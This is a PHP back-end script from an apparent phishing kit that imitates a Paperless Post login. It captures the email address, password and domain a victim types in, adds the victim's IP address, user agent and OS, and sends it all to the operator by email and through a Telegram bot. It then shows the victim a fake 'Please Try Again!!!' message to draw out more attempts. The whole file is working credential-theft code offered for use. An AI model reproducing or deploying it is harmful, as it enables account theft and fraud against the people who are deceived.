<?php
session_start();
error_reporting(0);
# Adding Settings
include('function.php');
include('../settings.php');

$email = trim($_POST['email']);
$password = trim($_POST['password']);
$detail = trim($_POST['detail']);

if($email != null && $password != null){


$msgtg = '
🔥== Paperlesspost Mail from {'.$IP.'} ==✅

*🔓DOMAIN    * : '.$detail.'
*🔓LOGIN ID  * : '.$email.'
*🔓PASSWORD  * : '.$password.'

*=========[ DEVICE INFO ]=========*
*IP* : http://www.geoiptool.com/?IP='.$IP.'
*Date* : '.$date.'
*USER AGENT* : '.$_SERVER['HTTP_USER_AGENT'].'
*OS / BR* : '.$os.'
';


	if ($settings['send_mail'] == "1"){
		$send = $settings['email'];
		$subject = "Login : $IP";
		mail($send, $subject, $msgtg);
	}
	$count = $_POST['count'];
	
	$mess =urlencode($msgtg);
	$url = "https://api.telegram.org/bot".$settings['bot_url']."/sendmessage?chat_id=".$settings['chat_id'] ."&text=".$mess;
	$curl = curl_init();
	// curl_setopt ($curl, CURLOPT_PORT , 8089);
	curl_setopt($curl, CURLOPT_URL, $url);
	curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
	// curl_exec($curl);
	
	$result=curl_exec($curl);
	if ($result) {
		$signal = 'ok';
		$msg = 'Please Try Again!!!';
	}
	curl_close($curl);  
	$signal = 'ok';
	$msg = 'Please Try Again!!!';
	
	// $praga=rand();
	// $praga=md5($praga);    
	$signal = 'ok';
	$msg = 'Please Try Again!!!';
	
	// $praga=rand();
	// $praga=md5($praga);
}
else{
	$signal = 'bad';
	$msg = 'Please fill in all the fields.';
}
$data = array(
        'signal' => $signal,
        'msg' => $msg
    );
    echo json_encode($data);

?>